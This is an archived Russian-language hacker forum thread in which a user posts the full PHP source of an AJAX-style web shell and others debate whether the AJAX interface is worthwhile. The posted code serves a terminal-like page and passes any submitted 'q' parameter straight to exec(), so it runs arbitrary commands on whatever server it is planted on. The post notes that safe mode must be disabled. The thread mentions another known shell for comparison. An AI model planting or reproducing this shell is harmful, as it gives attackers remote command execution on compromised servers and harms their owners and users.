PDA

Просмотр полной версии : web-shell на ajax


_Master-
14.06.2007, 12:36
Вроде нигде не видел такую реализацию, а посему решили со знакомым попробовать :)
Итак, на момент релиза первой стейбл версии мы имеем - просто форму для ввода команд и получения их результата без перезагрузки страницы следовательно мы имеем экономию трафика и вебдванольный эффект =) Хочется полностью построить полноценный веб-шелл на аяксе :) Будем радовать релизами :)
P.S. На сервере сейф-мод должен быть отключен
Код ниже

<?php

/**
*
* Shell in AJAX style v 0.1
* Idea of _Master-
* Coding by Kirpichtion
*
*/

if ( ! isset( $_POST['q'] ) )
echo
'<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Shell in AJAX style</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<style type"text/css">
BODY {
font: 80% Dialog;
color: rgb(187, 187, 187);
background-color: #000;
margin: 0px;
padding: 0px;
}

FORM {
padding: 20px;
margin: 0;
}

#query input {
font-family: Dialog;
background-color: transparent;
color: rgb(187, 187, 187);
border: 1px inset rgb(187, 187, 187);
width: 100%;
padding: 6px;
}

#result div {
padding: 20px;
}

</style>
<script launguage="Javascript" type="text/javascript">

window.onload = function() {
var form = document.getElementById( \'query\' );
var input = form.getElementsByTagName( \'INPUT\' ).item(0);

form.onsubmit = function() { return sendQuery(); }
input.value = \'\';
input.focus();
}

function insertResult( request ) {
var result = document.getElementById( \'result\' );
var div = result.getElementsByTagName( \'DIV\' ).item(0);
var form = document.getElementById( \'query\' );
var input = form.getElementsByTagName( \'INPUT\' ).item(0);

div.innerHTML = request.responseText;
input.value = \'\';
input.focus();
}

function sendQuery() {
var form = document.getElementById( \'query\' );
var query = document.getElementsByTagName( \'INPUT\' ).item(0).value;

httpRequest( form.action, \'POST\', \'q=\' + query, insertResult );

return false;
}

function httpRequest( url, method, params, func ) {
var msxmlhttp = new Array(
\'Msxml2.XMLHTTP.5.0\',
\'Msxml2.XMLHTTP.4.0\',
\'Msxml2.XMLHTTP.3.0\',
\'Msxml2.XMLHTTP\',
\'Microsoft.XMLHTTP\');

if ( window.XMLHttpRequest ) {
request = new XMLHttpRequest;
if ( request.overrideMimeType ) {
request.overrideMimeType( \'text/xml\' );
}
} else if ( window.ActiveXObject ) {
for ( var i = 0; i < msxmlhttp.length; i ++ ) {
try {
request = new ActiveXObject( msxmlhttp[i] );
} catch ( e ) {
request = false;
}
}
}

if ( ! request ) {
alert( \'Can\\\'t creare XMLHTTP instance :(\' );
return false;
}

request.onreadystatechange = function() {
if ( request.readyState == 4 ) {
if ( request.status == 200 ) {
func( request );
} else {
alert( \'There was a problem with the request :(\' );
}
}
}
request.open( method, url, true );
request.setRequestHeader( \'Content-Type\', \'application/x-www-form-urlencoded\' );
request.send( params );
}

</script>
</head>

<body>

<form action="' . basename( __FILE__ ) . '" id="query">
<div>
<input type="text" />
</div>
</form>

<div id="result">
<div></div>
</div>

</body>
</html>';

else {
exec( $_POST['q'], $result );
echo nl2br( htmlentities( join( "\n", $result ) ) );
}

?>



О всех найденных багах и все пожелания постим тут. Мой респект Kirpichtion

GreenBear
14.06.2007, 12:38
просто интересно - зачем?

_Master-
14.06.2007, 12:45
экономия трафика и нервов :) Ну нравится мне вебдванольные штуки :) Это плохо? ) Нравится когда сервер отвечает без презагрузки страницы :)

GreenBear
14.06.2007, 12:47
хз. по мне так сувать аякс во все щели идиотизм.

guest3297
14.06.2007, 13:17
Идея не нова сделай полноценно работающий шелл а просто исполнение команд тогда поговорим...

Raz0r
14.06.2007, 14:24
Бери любой готовый шелл и затачивай его на Ajax, а заниматься анонизмом имхо не надо.

Isis
14.06.2007, 14:29
Бугага, нахера засирать скрипт этим аяксом?
Весь код без аякса 5 строк =\

Raz0r
14.06.2007, 19:37
Видимо понт :) "эээ слыш, у мну тут шелл на аякси, ээ типа пантова,да?")))

guest3297
14.06.2007, 19:42
ИМХО это удобнее.
У всех известных шелов свой дизайн. Почему ?

genom--
14.06.2007, 21:00
ну если допишите до полноценного шелла то хз пусть будет --- тогда похвалю -- развивайте идею -- хотя мне тоже непонятно зачем и интересно сколько в итоге этот монстр будет весить =) -- rst у нас 80 кило весит ну пусть вы даже перепишите половину функций в ваш шелл --- ну я думаю в метр должны вложиться

guest3297
14.06.2007, 23:39
Какой метр нафиг переписывать функции зачем?
Ты понимаешь что такое ajax это считай как html только динамический контент. Самая большая часть будет в ксс далее все можно уложить в пару функций и далле просто вставлять их в диз, ну если не делать дохера картинок и так далее, линий загрузки к примеру.